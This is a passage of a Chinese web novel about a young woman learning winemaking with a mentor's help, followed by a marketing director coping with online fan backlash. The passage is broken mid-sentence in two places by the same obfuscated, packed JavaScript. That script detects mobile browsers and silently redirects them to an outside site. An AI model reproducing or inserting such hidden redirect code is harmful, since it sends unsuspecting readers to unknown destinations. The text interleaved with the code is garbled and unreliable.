就算岳一宛努力裹紧了外套,也只能勉强阻止凛风倒灌进领口,并起不到实质性的保温作用。 但幸好,他们还有酒。还有那支“昂首天歌”。 借着手电筒的光,两个各握一瓶酒的少年人,一前一后地走在没有人烟的寂静果园里。 「我爹说今年收获的这茬葡萄,种得其实挺不好的。」 孙维念念叨叨地前面说着话,也不管后面那人到底有没有在听,「就是因为卖不出去啊,所以才要酿成酒。当然,酿成酒之后,就更卖不出去了。死循环,无解。」 黑暗中,岳一宛突然停下脚步,俯身抚摸过一株株干枯的葡萄藤——他的动作很轻柔,如同伸手触摸向一件失而复得的珍宝。 「这些藤都是要拔掉的。」 孙维在前头道,「邻居都说今年的赤霞珠不好卖,早知道就应该种品丽珠,说这种好卖得很。也不知道是真的假的,反正我不信。」 岳一宛皱眉,口吻颇不赞同:「你们是年年都拔掉之后种新的?」 「是啊,大家都这么干!」孙维说,「年年都种同一个品种,根本就卖不出去,那总得想点法子,换个能卖得掉的品种吧?」 「而且我们这儿,冬天冷得很嘞!就算不去拔它,葡萄藤自己也会冻死的,根本活不到来年春天。」 她很是奇怪地看了岳一宛一眼,「你这个人,想种葡萄,却连这事儿都不知道?」 「首先我要指出,种植在寒冷地带的葡萄藤,可以通过埋土保温的方式来让它们安全过冬,我以为这才是种植葡萄的常识。」毫不留情地,岳一宛做出了他的反击:「其次,年龄较大的葡萄藤,通常能够结出质量更稳定且风味更浓缩的果实。一年一拔,一年一换,这简直就是在自取灭亡。」 又是半支酒下肚,孙维已经喝得醉醺醺的,连脚步都东倒西歪起来。 「你这人说话好奇怪,」她嘎嘎大笑着指着岳一宛的鼻子,手电筒的光也一晃一晃地打在这位异乡来客的身上:「你看你,细皮嫩肉的,又没种在地里过一天的葡萄,你怎么会觉得自己比我们更懂种葡萄的事情啊?」 「我可是在葡萄园里长大的!」她大声嚷嚷起来,「别看我现在打扮得这么摇滚,我——」 「我也是在葡萄园里长大的。」岳一宛抱起胳膊,「你不会以为我真的什么都不懂吧?」 「你不懂。」 孙维喃喃。 摇摇晃晃地走在一排排的葡萄架与田埂之间,她说:「我根本就不想种葡萄。种葡萄有什么好玩的?一点也不。」 「我想唱歌!我想跳舞!」 在田里大声嘶喊的声音,惊起了黑黝黝的一群鸟雀。 「我想离开这里!我想去大城市!我想走得远远的再也不要回来!」 她的嗓音嘹亮,一如过去十八年里,在葡萄田间高声歌唱的每一个时刻。 「可是他们不要我啊!我只能回来!我回来了,我还以为——我原先总以为——」 我以为,无论我走到哪里,终归是随时都能回家的。 可我的家,我从小奔跑到大的葡萄园,在这里纵容我唱歌跳舞过成百上千回的、容纳我的眼泪与欢笑与痛楚的家园,怎么突然之间就要没了呢? 家园,家园。 人世间,到底有谁能真正毫无牵挂地舍下自己的家园? 「明明在以前,我从未觉得自家的葡萄园是什么重要东西……但一想到即将失去它,为什么,为什么又会感觉到像刀在割我的心一样痛苦呢?」 45.手中传火 “后来我又投了简历,想去参加几个女团和练习生的海选,”孙维说,“结果全都惨败!连一个回信都没!给我气得嗷嗷的!一眨眼就又到了开春时节。” 女酿酒师很是沉痛地回忆道:“虽然我那时候有在镇上的奶茶店里打零工吧,但还是觉得这样下去不行啊,家里的葡萄园转让不出去,难道就让它这样荒着吗?我左思右想,就觉得,要不,还是让我来试一试吧!” “虽然我爷爷和我爹都没从葡萄上挣到什么钱,但万一我能成呢?万一,我能酿出岳一宛所说的那种葡萄酒呢?” 杭帆认真地听着她的故事,仿佛亲眼一捧火光的诞生。 “然后,你就请岳一宛教你酿葡萄酒酒——是这样吗?”他问。 孙维大笑,“从结果上来说是这样!”她向抱臂叹气的岳大师投以揶揄的目光,“但过程还是略有些曲折的。” 十一月末是感恩节。假期一结束,岳一宛就飞回了法国继续学业。 世界分明广阔而无垠,可在Ines的葡萄园被岳家卖掉之后,他却自觉如失家流离之犬,再无一处可以容身。 圣诞节,他没有回国。 父亲给他发消息,问岳一宛要不要去度个假散散心,他只冷淡地说学业正忙。 寒假,他也没有回国。 爷爷给他打电话,训斥孙子不回家问候长辈实属没规没矩,被他用四种语言轮番臭骂。 新学期伊始,岳一宛打开电子邮箱,在一堆法文与西语的邮件中,孙维的求助信分外显眼。 「我记得你自称很懂种葡萄,」她开门见山地说,「我要种葡萄,你教教我吧。」 “我是拒绝的。”岳一宛赶紧声明:“不是,杭帆你为什么要用这种眼神看我?就算只有十六岁,我对自己的能力范围也是有客观认知的好吧!绝不会主动去干那些误人子弟的事情!” 杭总监心虚地收起了吃惊的表情:“是、是吗?我原以为,你不会放过任何一个好为人师的机会……” “嗐,这家伙可真是犟得要死!”孙维立刻补刀:“我一连给他发了十几封邮件,他全都只回我一个‘不’字,我差点就在互联网给他下跪磕头了!” 在十七封邮件里,孙维说,「据说今年的黑皮诺会好卖些,你告诉我一些种黑皮诺的窍门吧。」 彼时的岳一宛正在图书馆里自习,在手机上看到这封邮件时,嘴里的一口柠檬水直接呛进了嗓子眼里。 来不及捋顺自己的呼吸,他立刻抄起笔记本电脑,噼里啪啦地回起了邮件。 「你发疯啊!」他的措辞也不比孙维更有礼貌:「黑皮诺是薄皮品种,很容易就因为感染病菌而腐烂。既然没有经验就不要碰这种娇贵玩意儿,你就种点儿最简单的赤霞珠不行吗?」 像是根本不用睡觉一样,隔着六小时时差的孙维秒回邮件:「可是我家就算自己酿酒,也用不了那么多葡萄。这两年,我这儿的家家户户都种赤霞珠葡萄,收购的价格很低的!」 「收购价格低是因为你们的葡萄太差了!」恶形恶状地拍打着键盘,满嘴念叨着中文咒语的岳一宛,被图书管理员无情地扫地出门:「听我的,种赤霞珠,就种这个!我来告诉你藤苗要怎么挑,等我几小时!」 抱着电脑,岳一宛直奔教授办公室。 五个小时之后,他给孙维发了一封长长的邮件,详细解释了葡萄藤的嫁接品种与砧木选择等问题。最后小心翼翼地附上了一句话:「但这只是理论指导。我不确定它一定能有好结果。」 孙维回他道:「谢谢岳老师!」 “当时主打一个现学现卖,心里还是比较没底的。” 岳一宛对杭帆解释道:“但从那年夏天开始,我去了Gianni的酒庄里实习。所以孙维提出大部分的问题,我都会拿着她拍的照片和视频,先去问问Gianni和教授们,最后再出一个总结梳理版本返还给她。” “你好意思说你心里没底?我才是比你更没底好不!”孙维大摇其头,抓着杭总监就是一顿吐槽:“我在邮件里问他,‘为什么要这么做?’,他回我一句,‘和你解释不明白,别问,照做就行。’我天,我头都要炸了!” 岳大师辩解说他又要实习又要上课,天天累得想死,“我愿意回你的邮件已经很不错了好吗?结果你在还骂我是‘混蛋自大狂’!” “是我先开始的吗?是你先在邮件里说‘白痴文盲给我闭嘴’!”孙维大喊。 “太好了,”身处世界大战中心地带的杭总监尤自感慨,“看来我不是世界上唯一一个觉得他性格有点差劲的人。” 在岳一宛“不分好歹,错勘贤愚”的悲愤抗诉里,杭帆又幽幽评价道:“但这么看来,现在的你至少有向人解释原因的耐心。嗯……也算是进步挺大?” 孙维实在看不下去,“你别也太顺着他了,小杭。”她冲岳一宛比出中指,“你瞧这人,给点他好颜色,他能就地给你开出间染坊来!” “不敢当不敢当,其实孙师傅你也不遑多让啊。” 把下巴搁在首席大弟子的肩头,岳大师得意洋洋得像是一只躲在饲主身后歪头坏笑的牧羊犬:“给你点葡萄,你就原地开起酒庄来了,你也是很了不起的嘛!” 知识不仅来自于书本上的理论,也来自于口耳相传的经验。 可在实际的生活中,再丰富的理论与经验,也会在实践中发生偏差。 场外指导与运气加持之下,孙维的第一茬赤霞珠种得还算顺利。最好一批的果子被酒商挑走收购之后,她想要用剩下的果实来酿造“真正的葡萄酒”。 「你得去借个发酵车间,让他们借你发酵罐。一只就行。」岳一宛在邮件里说,「‘放进缸里’是什么鬼?!你给我住手!」 孙维问他:「发酵车间是什么?」 半天之后,岳一宛在邮件里丢给她一串联系方式:「自己去看。」 在许多人的帮助下,十九岁的孙维酿造出了她的第一批葡萄酒。 那是一场的彻头彻尾的大失败:无论是颜色,质地,还是口感,它都和上一个冬天的那瓶“家园”,没有半点相似之处。 她没有在第一时间就给岳一宛写邮件。她坐在光秃秃的葡萄藤边上哭了好久。 一颗小小的火星,她想,它似乎曾经光临过我,而现在终于要熄灭了。 也许这一切本都是一场错误。 种葡萄能有什么出路呢?辛苦大半年才赚这万把块钱,还不如去大城市的餐厅里端盘子。酿酒又能有什么出路呢?酒庄,发酵车间,这都是多么遥远又陌生的词汇啊。 如果我早点接受自己既平庸又无能的事实,或许就不会这么痛苦又这么不甘心了吧? 「明年春天,你就满十八了对吗?」在给岳一宛的邮件里,她说:「你来租我们家的葡萄园吧。」 对方回了她一个问号。 一周后,岳一宛飞抵国内。一下飞机,他就直奔孙维家的葡萄园而来。 「你的酒,给我看看。」他在村头下的车,一路拔足狂奔至此,上气不接下气到只能扶着门框说话:「快点,我时间不多,明晚就要坐飞机回学校!」 孙维很不情愿地拿出了她的“葡萄酒”——但凡岳一宛来迟两天,她就已经把这些玩意儿全泼进臭水沟里去了! 出乎她的意料,在谨慎地抿了一口之后,岳一宛并没有对此做出任何评价。他从大衣口袋里摸出了一个小瓶,装了满满一瓶的“样品”,说是要拿去给学校的实验室分析一下。 「把你整个操作流程告诉我。」他的口吻非常严肃,「事无巨细,从采摘葡萄的时候开始,好吗?全告诉我。还有,发酵车间在哪里?带我过去看,就现在!」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616361|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她等待着岳一宛的尖锐批评降临,就像在阴云密布的天气里等待一场暴雨。 但岳一宛始终没有说出任何负面的字眼。 他们从发酵车间走出来,把双手都插在大衣口袋里的少年说:「我大概知道问题出在哪几个环节上了。等实验室的结果之后,我会写一份详细的报告给你。」 他问孙维:「你还想要继续酿酒吗?」 她低头看自己的鞋尖,沉默持久地笼罩下来。 「可是你在邮件里说的很多东西,我都搞不明白。」孙维回答,有生以来头一回,她恨自己上学的时候为什么没有好好念书:「我要是能听懂就好了。只要我能都搞懂,再试一次,肯定比现在要强。」 「那你去读书啊。」岳一宛说,「你的葡萄园肯定不想失去你,而且,还没酿成的酒总是会在未来等你的。」 “他就是那种没吃过生活的苦的大少爷,”孙维啧啧有声,“把上个大学这种事情,说得跟吃饭喝水一样简单!老天,重新捡起课本,真是差点要了我的命。” 农学是一门艰苦学科,在成人高考的志愿填报上有特殊照顾政策。尽管如此,孙维还是得拼了命地读书,才能一口气补上高中三年里落下的所有功课。 “我爹说他还能再种几年的葡萄,让我专心念书,不要担心钱的事情。”提及老父亲,女酿酒师还是满怀歉疚之意:“不过嘛,最后还是得感谢岳一宛的‘善心大发’。” 单手抚胸,岳大师一点也不谦虚地点头称是:“那是,请大家称呼我为圣人伊万——我是葡萄的赞助者,发酵车间的守护神,同时也是葡萄酒的忠实保护人。” 岳一宛借了她十万块钱,作为大学四年的学费与生活费。生性好强的孙维立刻写了借条给他,最后却在自家门口的狗窝里发现了那张被揉成一团的借据。 在孙维上大学的期间,岳一宛念书,实习,毕业,开始了他在波尔多酒庄里的正式工作。对于所有的微信聊天和电子节日贺卡,此人都抱持着一种“已读,但随机乱回”的态度——也许是没看见,也许是看见了但不感兴趣,他就是这么个我行我素的家伙。 唯独在葡萄与酿酒的话题上,所有认识岳一宛的人都知道,最多半天,一定能等来他的认真答复。 在孙维与杭帆说话的这短短十几分钟里,岳一宛肆无忌惮地进行着他的偷吃行动,小半袋杏干转眼间就被他消灭得一干二净。 眼看着这人故作无辜地抖动着手里的密封袋,杭帆感到既好笑又无语。但在这个久远故事的更深处,他听到一阵激荡而低徊着的颤音,如同灵魂的某处被温柔又猛烈地叩响。 尘世迢递,谁悲失路之人?故园离散,皆是萍水之客。 可在那段最痛苦又最孤独的青春岁月里,少年人依旧毫不犹豫地向他人伸出援手——是因为对葡萄的热爱,也是因为善意的悲悯。 “我上大学比别人晚,”孙维笑道,“但我是农家的女儿嘛,在地里摸爬滚打惯的,论这个我绝不比别人差。那时候,只要给钱,农学相关的所有活儿我都能做!本地的所有酒厂里,我都打过工!” 她念书的时候很俭省,从农业大学毕业后,又只用了短短几年,就齐齐整整地攒出了十万块。 那年,为接替年事已高的Gianni,岳一宛从法国波尔多来到了山东蓬莱,担任斯芸酒庄的首席酿酒师。 于是孙维给他发消息,说想要把当年的十万块钱还给他。 「我不用。」隔着半个中国的距离,岳一宛急吼吼地发来一大串话:「但你的发酵车间呢?赶紧的建起来啊!再没有一个靠谱车间,我就要去带领你的葡萄去起义了!推翻孙维暴政!解放自由葡萄!」 就用手里的十万块钱,孙维建起了她小小的车库酒庄。 十九岁的那年,未曾熄却的微弱星火,终于在这一刻开始闪耀。 46.恶评永不迟到 “虽然规模小,但咱们现在也是宁夏知名的精品酒庄啦!” 孙维乐呵呵地冲他俩挤了挤眼睛,“虽然过程很辛苦,但只要坚持下去,也是会有好事发生的嘛!” 十数年求索之路,其中的酸甜苦辣,岂可简单地就道与旁人知晓?杭帆点头,心中生出无限的感佩。 “孙姐,”他向对方请教:“能冒昧问一下吗?请问像你们这样的小型精品酒庄,一般是通过什么渠道来进行销售的呢?如果小酒庄也要做网络行销的话,不会给酒庄带来额外的成本压力吗?” 诶了一声,孙维指向自己:“这个问题,要问我吗?我其实对广告和营销这块懂得不多啊。” “我们的规模真的很小,在你们斯芸酒庄的面前卖弄,说实话是有点……哈哈哈哈!”她摇着手笑,“但大象有大象的智慧,蚂蚁也有蚂蚁的智慧,是不是?” “像我们这种小酒庄,一般都会选择让出一部分利润,把卖货的工作拜托给各个分销商。当然,餐饮业的酒水采购也是我们的重要销售渠道之一!小杭你是上海来的吧?我们的酒,在上海的各家网红餐厅里卖得很不错哦!”言语之间,孙维对自己的事业充满了自豪。 她从冰桶里抽出一瓶酒,利落地为杭帆倒上了小半杯:“看!这是我们家近年在餐厅里卖得最好的一个系列,是用不同白品种葡萄与各式茶叶一起,共同发酵而成的起泡酒!” “不是,杭总监,你听听这人都说的什么话啊?这都已经违反广告法了吧!” 眼看着杭帆像好奇猫咪一样睁圆了眼睛,岳大师在边上急得喷火:“茶叶,发酵?孙维你要不还是把自己的农学文凭给吃下去得了!茶叶有糖分吗?没有糖,它要用什么来发酵?!” “这不是由葡萄来提供了糖分吗?你乱喊啥你。” “那发酵的不还是只有葡萄吗!茶叶这东西根本就不可能发酵!你这是虚假广告!” “我反正是把茶叶给放进发酵罐里了,你又怎么能够肯定它完全没有参与罐子里的任何化学反应?拿出你的实验室报告来!” “不是所有的化学反应都叫发酵!你这个文盲,简直欺师灭祖!” “假洋鬼子懂什么中国茶!茶多酚发生的氧化反应就叫茶叶发酵!” 在两人的争吵声里,杭总监把杯子递到唇边,仔细地闻了闻这杯白葡萄“茶”酒的香气——红茶特有的暖香气味,丝丝缕缕地缠绕在酸沁怡人的葡萄果香中,像是一杯冰镇后的水果茶。 他审慎地做出了自己判断:“我好像能理解这款酒在餐厅里卖得好的理由。” 岳一宛发出惨叫:“你不要理解这种东西啊杭帆!”活像是一只被车轮碾过的尖叫玩具。 伸手捂住了这人的嘴,杭帆认真地做着分析:“网红餐厅,这其实是一个不考虑回购率的消费场景,在它的生命周期里,它要做的永远都是吸引更多的新客人来打卡体验,而非让老客人一周三次地反复光临——后者的消费力持久但不强劲,毕竟熟客只求稳妥地填饱肚子。唯有那些第一次光临又急于摆拍照片发朋友圈的新客人,会点上满满一桌子的菜色,力图一次尝遍所有的新鲜。” “在这种消费场景里,‘茶葡萄酒’,这个概念本身就显得既高级又有趣。”杭总监沉思:“尤其是按杯卖的葡萄酒,价格并不高昂。就算品尝之后觉得完全不喜欢,在大城市的餐厅里,这种‘试错成本’也是完全可以被接受的。抱着这种心态,就会有很多客人选择先点上一杯来试一试。” “好看,有趣,甚至是‘古怪’,这些要素会让客人们在线下进行‘冲动消费’。” “小杭好厉害啊!”孙维若有所思地点着头,“确实,我们家的茶酒系列,主要也是在餐厅里卖得好。线上的几家电商倒是都反响平平。” 杭帆赶紧解释:“我对网红餐厅没有偏见!毕竟我就是做营销这行的……能给产品找到最适合适合的消费场景,这本身就很了不起。” 按照罗彻斯特酒业的消费习惯调查报告,在电商渠道够买葡萄酒的主力消费者大致分为两种:其一,是只买‘小甜水’的浅尝辄止型,其二,是格外挑剔又相对专业的资深玩家型。 “如果让我来做的话,”杭帆说,“我会觉得‘茶酒’系列很难在这两个极端里找到自己的位置。” 自电子商务诞生以来三十年,整整两代人的消费习惯被彻底颠覆:人们上网购物,大多已不再是为了随机地尝新争鲜。 我们目标明确地奔向目标商品的链接,为了最低廉实惠的价格,也为了绝不出错的质量——在没有生命的数字与图片面前,我们往往比在身处实体店中的时候更为挑剔。比起“可能不太习惯”的新事物,更多人倾向于选择“让人安心信赖”的熟悉产品。 “但在与朋友聚餐的场合,一杯酒,不仅是一份饮品,也是一份‘所见即所得’的情绪价值,更是一个现成的聊天话题。” 在这种场合里,由于所谓的“社交属性”加成,人们会更愿意去尝试新事物。而这,也就给了各路新产品们以获取客户的大好良机。 “虽然是传统销售方法,但确实能够非常有效地提高销售业绩。” 杭总监嘀嘀咕咕地在嘴里念叨着什么,“但是,唉,餐厅的酒水采购,这块是市场部负责的,和我们新媒体部门没关系啊。嗯……再仔细想想,‘斯芸’和‘兰陵琥珀‘的售价太高了,好像也没法用这种方式来做推广。不然倒是可以请几个探店KOL去做点宣传之类的……” 岳一宛凉凉地做出提示:“醒醒,杭总监,斯芸酒庄是不可能让自己的产品被杯卖的。” ”我知道,我知道!”杭帆真希望自己能手持四十米大砍刀,一举砍掉自家产品售价里所有的零:“高贵,奢侈,品牌调性!啊啊啊!要不是因为这!我的工作也不会那么难做——!” “其实也没有非常高贵啦,”岳大师难得谦虚一次, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620714|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “假设你在高档餐厅里,向土豪老板递上酒单:同样价位下,你猜他是会选‘斯芸’,还是选一支拉菲?” “我猜他选拉菲。”杭帆心如死灰地答道,“但凡斯芸酒庄能有拉菲庄园那样的名气,我的工作就容易得多了。” 孙维点头,“我也猜他们会选拉菲,”她对岳一宛说,“但你为什么要问这种伤敌一千自损八百的问题?” 岳大师震惊:“啥啊?这种时候肯定是选‘斯芸’吧?!”他振振有词:“我都出来花钱装×了,那当然要装个最大的!拉菲庄园,人人都知道,有什么特别的?这要是我,那肯定选‘斯芸’啊——听说过的人越少,那岂不是越显得我品味独特不凡?!” “……谢谢分享,”杭总监锐评:“但你的装×心路太过曲折深奥,恐怕无法代表任何消费者群体。” 离开宁夏产区的摊位前,孙维塞了两瓶杏子酒给他们。 “有空来我们这玩儿啊!”女酿酒师热情地冲他们挥手,“我们今年新养了一匹马和几头牛,可以骑着马巡视葡萄田,还可以坐牛拉的车!可好玩儿可拉风了!” 斯芸的首席酿酒师表示他一点也不羡慕,完全没有。 “看看杭帆,”他还觉得自己的修辞怪精彩的咧:“酒庄牛马,我身边不就有现成的?才犯不着去你那里——嗷!” 杭总监脸色发青,猛踹这人的小腿胫骨。 “禁止说这种地狱笑话!” 绕着大会展的葡萄酒专区逛了一圈,岳一宛从他的同行们那里收获了几大袋子赠品,从酒到土特产,无一不全——俨然一副岳大师莅临他忠诚国土的情景。 “人缘比我想象中要好嘛,岳大师。”杭帆戏谑地说道,“本来还以为,这世界上能忍受你的只有我呢。” “那不一样。”此人笑答曰:“我一年到头也就只涮他们几回,你可是一天二十四小时都在被我欺压。如此功劳,当冠群臣之首!” 这厮惯来怪话连篇,正在低头刷社交媒体的杭总监权从左耳进右耳出,连眼神都没空给他。 “你干嘛要对着手机欲言又止?” 闲不住一会儿,岳一宛又把头伸过来,边问还边往杭帆嘴里塞了一颗糖。 杭总监划拉着工作手机上的小红书检索页面,同时又摸出了自己的私人手机,实时检查了一下微博热搜的榜单。 好消息是,“成都!与谢咏碰杯”的标签已飞速登上热搜排行前十,并因为参与话题的人数众多,在数个平台上都得到了官方推流。在微博的自然检索页面里,排在前十的帖子都有已有了过万的点赞与评论。 坏消息是,超过半数的发帖人是在对今日的互动活动破口大骂。而来自小红书的第一条检索结果,更是厉声痛数“罗彻斯特酒业对不起谢咏的十大罪证”。 “这都什么玩意儿?”岳一宛问。 “我的工作成果。”杭帆平静地说,“欢迎来到互联网世界。” 47.下半场逆转 @谢咏的勇者联盟:身为代言人的谢咏先生,为何始终得不到与头衔相匹配的待遇与尊重,这是否是罗彻斯特酒业不重视合作伙伴,甚至仗势欺人的表现?! “我认为内心戏太多不利于精神健康。”杭帆面无表情地滑动屏幕:“没有拍新图,当然是上头没有拨预算。你问我这个打工仔,我又该去问谁?” @小谢小谢_勇不松懈:不要购□□季限定礼盒!不要被当成韭菜!我们对谢咏的爱,不应该成为让品牌方拿捏他的把柄!在罗彻斯特拿出新物料之前,大家千万不要花钱! 杭总监露出了没有温度的笑容:“我非常确定,在春节礼盒卖完之前,他们完全都没有拍摄新物料的计划。” “我记得现在的PS技术已经可以‘无中生有’了,”岳大师真是唯恐天下不乱:“你们就不能凭空变一张新图出来吗?” 杭帆干笑一声,“死到临头的时候我会这么干的。”他说,“但现在还不至于。” @咏远感谢遇见你:@ROCHESTER 我艹你个穷逼公司!滚出来挨骂!听见没有,大贱货!之前给你好脸就当我们小谢好欺负了是吧!什么寒酸活动,你好意思端出来吗?臭不要脸的SB公司,浮木死了,户口本全火化!还敢在小谢的立牌上打孔,贱婢公司不得好死! 单指双击屏幕,杭帆把以上的所有用户都拖进了黑名单。 当然,是用他自己的账号。 “阿弥陀佛,”杭总监语气平板,“世界终于清净了。” 话是这么说,他的脸上却没有高兴的神采。 岳一宛盯着他,语气里颇有几分刻意的揶揄:“你的工作不会就是被网友骂吧,杭总监?” “哈,哈。你真幽默。”杭帆干瘪地回答道,“有谁会想要天天被骂吗?” 他强迫自己把视线从屏幕上移开,又用力地深呼吸了好几下,这才感觉到心脏从嗓子眼儿里落了下去。 “没有人是因为想要被骂才来干这一行的。”他摇头,“但被骂已经成为了我们工作的一部分。” 在杭帆的记忆里,互联网世界并非从一开始就是这样凶神恶煞的面貌。 当他还只有十八九岁的时候,也曾开着那家日化老字号的官博在网上四处游荡,频频出现在娱乐八卦的新闻底下。 「怎么连蓝V都来吃瓜了,让我前排合影。」 「笑死了,你们是要趁乱兜售洗衣粉吗?能洗掉影帝身上红酒渍的那种。」 「那还是建议你们先用肥皂洗一下影帝爆粗口的嘴吧,这个更脏。」 「楼上两个真是广告鬼才我艹,我愿意付费看这个!」 在那种遍地都是“灵机一动”的宽容诙谐气氛里,在充满了欢声笑语的成就感中,杭帆开始了他最初的职业生涯。 “理性上,我知道谢咏粉丝在骂的不是我本人。” 时至中午,坐在快餐店桌边的杭帆,重又把目光投向了手中的屏幕。 “他们想骂的,或许只是‘罗彻斯特酒业’,而并非是某个具体的工作人员,更不是我这种连姓名都不会公开的打工仔。”他说。 当人们在网上对品牌方大骂“去死”的时候,他们中的绝大多数,都不是真的想要账号下的管理人员去死;当人们在点开官博的私信,花式翻新地问候对方全家的时候,也不是真的想要那个正在操作账户的工作人员惨遭灭门之灾。 可是,无论是罗彻斯特集团,还是罗彻斯特酒业,它们都是一种抽象的“概念”——它既不具备任何程度的人格,也不可能拥有一丝一毫的情感,更不会因为被辱骂就直接受到伤害。 真正被这些排山倒海的脏话所淹没的,会因为那些措辞恶毒的诅咒而感到呼吸困难的,会被突然弹出的攻击性语言给惊吓到的,是苏玛,是杭帆,是所有那些明明无权就做出最关键的决定,却不得不上前来面对这一切的普通工作人员。 搅拌着餐盒里的盖浇饭,杭总监感觉自己像是在咀嚼一截蜡烛。 “出来混嘛,总会有各种各样的理由被骂。我现在已经都建立起一套完整成熟的心理防线了。”他用玩笑的语气调侃道,“虽然乍一看还是会有些应激,但稍过一会儿就会失去一切感想。” 叹了口气,杭帆把软塌塌的一次性勺子从冷掉的盖浇饭里拔出来,“就希望,苏玛现在能忙着在展位的线下活动上干活,最好别看到这些东西。” “那你呢,杭总监?” 岳一宛问:“篓子不是你们新媒体部门捅的,但网友的骂却是你们在挨的——这种生活是不是也太憋屈了?” 他单手支着侧脸,两条交叠的长腿斜坐在椅子上。那双翠色瞳仁里既闪烁着探寻的好奇,也有犀利的质疑之色闪过。 “如果努力也只能收获到令人失望的结果——那这种工作的意义到底在哪里?” 杭总监从手机上抬头。 “意义在于:我还不想认输。” 一字一顿地,他认真回答道。 “我认为自己没有做错,所以我不需要夹起尾巴逃跑。” 他晃了晃手里的两块电子屏幕,语气里有一份经验丰富的笃定:“因为我相信,这个世界不应该,也绝不会被疯狂的情绪与谩骂的声音所主导。所以,等着瞧吧。” 在屏蔽了骂声最响亮的几个账号之后,首页信息流中渐渐开始出现一些真正的打卡路人。杭帆眼疾手快,挑中了几个拍得还不错的帖子,默不做声地投了流量推广进去。 @爱酱是芝士夹心味:去糖酒会逛了一圈,看到有谢咏代言的酒在做地推。工作人员态度蛮好,过来介绍说可以和他干杯,还有免费的酒可以试喝。在H-37展位这边,超大一个,赶紧趁着人少来薅羊毛吧! @边牧恰柠檬:草草草,那个和谢咏干杯的活动真是好鬼畜。在立牌上绑酒杯是谁想出来的主意啊!太好笑了,实在没忍住,排队拍了一张。@谢咏哥我干了,你随意哈! @一夜暴富:我排了一小时的队,就是为了和俺谢哥喝这交杯酒啊!看看我这白裙子,看看这成双成对的酒杯,谁信这不是婚礼!路过的各位都请喊我一声“嫂子”好吗?好的。 @你这话说得体面吗:小谢,杯子拿高点,对对,就这个姿势,喂我嘴里! @momo:不是粉,但看过剧。在谢咏怀里摆了个女主角和他对视的姿势,嘻嘻,干杯! @我就不上班怎么了:这位印在纸皮上的帅哥,有点眼熟,但一时叫不出名字。看在免费酒水的份上,今天就让你做我的临时老公吧。 @烦死啦毁灭吧:事前没有宣传,打0分。但我临时起意来逛糖酒会了,勉强加20分。没有新图,扣50分。让我和谢哥碰上了杯,加100分。工作人员态度好,加10分。线下买礼盒也不打折,扣10分。现场的装置好简陋,再扣10分。加加减减,这次就勉强算你及格了吧罗彻斯特。 @霉运走开:你有辣么可爱的小谢带着酒杯进入了糖酒会!宝贝宝贝,让我亲亲! @鼠鼠我是真的鼠了呀:这个干杯活动有种又抽象又贫穷的感觉,但因为穷得毫不掩饰所以又显得很好笑。那个开香槟视频也是!工作人员到底是怎么忍住不笑场的?和立牌拍照碰杯的时候我真的感觉自己好像有什么大病! @千万烤红苕:家人们谁懂啊,我不仅在糖酒会上遇到了喜欢的男艺人,还跟他干杯了!——对不起了,我是标题党,但你是真的可以和谢咏立牌干杯。 @我吃一口:急急急,糖酒会门票怎么买啊?现在还能买得到吗?有姐妹能来告诉我一声吗?有没有攻略啊?#谢咏 #成都糖酒会 #罗彻斯特 #成都!与谢咏碰杯 #罗彻斯特酒业全球首位代言人谢咏 @小王帮你搞票务:帮订成都糖酒会门票,帮排罗彻斯特起泡酒试饮,丝我,为您提供一站式服务 #谢咏 #成都糖酒会 #成都!与谢咏碰杯 午后两点多,不知谢咏这哥们儿是终于手机通网,还是通宵拍戏后总算姗姗醒来——在停更了社交媒体一整个月之后的今天,此人突然发了一条小视频:穿着睡衣的大明星坐在床上,手持酒杯,与手机视频里的自己(立牌版)碰了一碰。 “Cheers!”他的文案里只有简短的五个字母。 杭帆眼神一震,点进点出地反复确认了好几遍:这确实是谢咏本人的账户没错?不是什么无聊人士搞的高仿账号? “现在让我当面给他跪下来磕一个都行。” 捧着手机的杭总监,情意绵绵地凝望着飞速增长的数据:“从今天起,他就是我救苦救难的观世音菩萨!我将暂时原谅此人之前拍摄迟到和工作室耍大牌等种种恶行。” 这般情真意切的发言,把边上的岳大师都给吓到虎躯一震。 “哈?你不是吧?他随手一配合,你就愿意给他磕头?” 人有我无,这家伙大感忿忿,简直就要从椅子上原地跳起来:“那我之前也同意你用我的声音剪视频了啊!你是不是也应该跪下来叫我一声——” “我只是这么口嗨一下。” 杭帆无情地捏住了他的嘴:“但凡有人敢要我真的跪下来给他磕头才能配合工作——呸!拼着这份工作不要了,我也要他的黑料在第二天就挂满全网热搜!” 岳一宛满意地坐了回去。 “所以,你手上真的有谢咏的黑料?” 趁着杭帆正在企业微信上和苏玛沟通工作,岳大师压低了声音凑过去,圆圆的眼睛里一左一右地写着“八卦”二字。 “要想人不知,除非己莫为。”杭总监没有点头,但也没有摇头,只抓起了手边的运动相机晃了两晃:“古语云:苍天有眼,隔墙有耳。” “噫!真可怕!”心怀敬畏地,岳大师把双手举过头顶做投降状:“我得提醒自己,千万不要随便得罪了杭总监,不然怕是会在互联网上死无葬身之地。” 杭帆大度地挥了挥手,语气中倒是颇多心酸:“放心,我的职业道德在市面上也是行业顶尖的级别了。”他说,“在姑且能够捏着鼻子容忍的范围内,我都会看在房贷的份上尽量忍一忍。” 